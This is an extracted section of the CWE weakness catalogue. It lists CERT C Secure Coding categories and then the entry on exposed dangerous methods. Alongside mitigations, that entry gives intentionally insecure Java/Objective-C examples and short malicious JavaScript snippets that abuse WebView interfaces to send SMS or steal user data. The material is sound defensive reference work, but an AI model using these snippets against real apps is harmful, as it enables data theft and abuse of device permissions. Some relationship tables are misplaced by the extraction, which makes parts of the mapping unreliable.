<td>HasMember</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>745</td>
<td>CERT C Secure Coding Section 11 - Signals (SIG)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
</tbody>
</table>

Relationship Notes
The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References
CWE Version 2.11
CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 735 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the preprocessor section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌐</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References
CERT. "01. Preprocessor (PRE)". <https://www.securecoding.cert.org/confluence/display/seccode/01.+Preprocessor+%28PRE%29>.

CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 736 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the declarations and initialization section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌐</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References
CERT. "02. Declarations and Initialization (DCL)". <https://www.securecoding.cert.org/confluence/display/seccode/02.+Declarations+and+Initialization+%28DCL%29>.

CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP)

Category ID: 737 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the expressions section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌐</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References
CERT. "03. Expressions (EXP)". <https://www.securecoding.cert.org/confluence/display/seccode/03.+Expressions+%28EXP%29>.
CWE-738: CERT C Secure Coding Section 04 - Integers (INT)

Category ID: 738 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the integers section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
<td>734</td>
</tr>
</tbody>
</table>

References

CERT. "03. Expressions (EXP)". <https://www.securecoding.cert.org/confluence/display/seccode/03.+Expressions+%28EXP%29>.

CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP)

Category ID: 739 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the floating point section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>369</td>
<td>Divide By Zero</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References

CWE Version 2.11
CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)

References
CERT. "05. Floating Point (FLP)". <https://www.securecoding.cert.org/confluence/display/seccode/05.+Floating+Point+%28FLP%29>.

CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)

<table>
<thead>
<tr>
<th>Category ID:</th>
<th>740 (Category)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status:</td>
<td>Incomplete</td>
</tr>
</tbody>
</table>

Description

Summary
Weaknesses in this category are related to rules in the arrays section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>734  226</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>734  258</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>734  786</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
<td>734  789</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>665</td>
<td>Improper Initialization</td>
<td>734  1029</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☐</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734  1132</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td>734  1234</td>
</tr>
</tbody>
</table>

References
CERT. "06. Arrays (ARR)". <https://www.securecoding.cert.org/confluence/display/seccode/06.+Arrays+%28ARR%29>.

CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR)

<table>
<thead>
<tr>
<th>Category ID:</th>
<th>741 (Category)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status:</td>
<td>Incomplete</td>
</tr>
</tbody>
</table>

Description

Summary
Weaknesses in this category are related to rules in the characters and strings section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>734  121</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>88</td>
<td>Argument Injection or Modification</td>
<td>734  155</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>734  226</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>734  234</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td>734  282</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>734  328</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>734  371</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>734  783</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>734  1069</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>734  1107</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☐</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734  1132</td>
</tr>
</tbody>
</table>
CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM)

Category ID: 742 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the memory management section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>734  18</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>734  226</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>128</td>
<td>Wrap-around Error</td>
<td>734  256</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>734  269</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>734  361</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>734  417</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>734  435</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>734  447</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>415</td>
<td>Double Free</td>
<td>734  718</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>416</td>
<td>Use After Free</td>
<td>734  720</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>734  800</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
<td>734  872</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
<td>734  932</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
<td>734  934</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>734  979</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>665</td>
<td>Improper Initialization</td>
<td>734  1029</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
<td>734  1070</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734  1132</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>734  1146</td>
</tr>
</tbody>
</table>

References

CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO)

Category ID: 743 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the input/output section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships
CWE Version 2.11
CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>22</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('OS Command Injection')</td>
<td>121</td>
</tr>
<tr>
<td>ParentOf</td>
<td>41</td>
<td>88</td>
<td>Argument Injection or Modification</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>155</td>
</tr>
<tr>
<td>ParentOf</td>
<td>119</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>226</td>
</tr>
</tbody>
</table>

References

CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)

Category ID: 744 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the environment section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>78</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('OS Command Injection')</td>
<td>121</td>
</tr>
<tr>
<td>ParentOf</td>
<td>88</td>
<td>88</td>
<td>Argument Injection or Modification</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>155</td>
</tr>
<tr>
<td>ParentOf</td>
<td>119</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>226</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-745: CERT C Secure Coding Section 11 - Signals (SIG)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References

CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References
CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 747 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the miscellaneous section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>482</td>
<td>Comparing instead of Assigning</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>561</td>
<td>Dead Code</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>570</td>
<td>Expression is Always False</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>571</td>
<td>Expression is Always True</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
<td>734</td>
</tr>
</tbody>
</table>

References
CERT. "49. Miscellaneous (MSC)". <https://www.securecoding.cert.org/confluence/display/seccode/49+Miscellaneous+%28MSC%29>.

CWE-748: CERT C Secure Coding Section 50 - POSIX (POS)

Category ID: 748 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the POSIX section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>272</td>
<td>Least Privilege Violation</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>365</td>
<td>Race Condition in Switch</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>366</td>
<td>Race Condition within a Thread</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>667</td>
<td>Improper Locking</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>734</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>734</td>
</tr>
</tbody>
</table>
CWE-749: Exposed Dangerous Method or Function

**Description**

**Summary**

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

**Extended Description**

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

1) The function/method was never intended to be exposed to outside actors.
2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Integrity**

**Confidentiality**

**Availability**

**Access Control**

**Other**

**Gain privileges / assume identity**

**Read application data**

**Modify application data**

**Execute unauthorized code or commands**

**Other**

Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.

**Likelihood of Exploit**

Low to Medium

**Demonstrative Examples**

**Example 1:**

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

**Java Example:**

```java
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    }
}
```
The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

### Java Example:

```java
private void removeDatabase(String databaseName) {
  try {
    Statement stmt = conn.createStatement();
    stmt.execute("DROP DATABASE " + databaseName);
  } catch (SQLException ex) {...}
}
```

### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

### Java Example:

```
// Android
@override
public boolean shouldOverrideUrlLoading(WebView view, String url){
  if (url.substring(0,14).equalsIgnoreCase("examplescheme:")) {
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
      writeDataToView(view, UserData);
      return false;
    } else{
      return true;
    }
  }
  return false;
}
```

### Objective-C Example:

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType{
  NSURL *URL = [exRequest URL];
  if ([URL scheme] isEqualToString:"exampleScheme"){
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"]) {
      // Make data available back in webview.
      UIWebView *webView = [self writeDataToView:[URL query]];
      return NO;
    }
    return YES;
  }
```

A call into native code can then be initiated by passing parameters within the URL:

### Javascript Example:

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

### Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:
Java Example:

```java
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
    final class JavaScriptInterface {
        JavaScriptInterface () {
        }
        public String getUserInfo() {
            return currentUser.Info();
        }
    }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using `addJavascriptInterface()`. This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

**Javascript Example:**

```html
<script>
userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber, null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

**Example 4:**

After Android 4.2, only methods annotated with `@JavascriptInterface` are available in JavaScript, protecting usage of `getClass()` by default, as in this example:

**Java Example:**

```java
final class JavaScriptInterface {
    JavaScriptInterface () {
    }
    @JavascriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

**Javascript Example:**

```html
<script>
    var info = window.userInfoObject.getUserInfo();
    sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1112</td>
<td>security tool ActiveX control allows download or upload of files</td>
</tr>
<tr>
<td>CVE-2007-6382</td>
<td>arbitrary Java code execution via exposed method</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design
If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Architecture and Design
Implementation
Identify and Reduce Attack Surface
Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:
- accessible to all users
- restricted to a small set of privileged users
- prevented from being directly accessible at all
Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Research Gaps
Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

References

CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 750 (View: Graph) Status: Incomplete
Objective
CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors.

View Data
View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>29</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>3</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>24</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>2</td>
</tr>
</tbody>
</table>
View Audience

Developers
By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers
If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators
Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td></td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750</td>
</tr>
</tbody>
</table>

References


CWE-751: 2009 Top 25 - Insecure Interaction Between Components

Category ID: 751 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)</td>
<td>750</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>79</td>
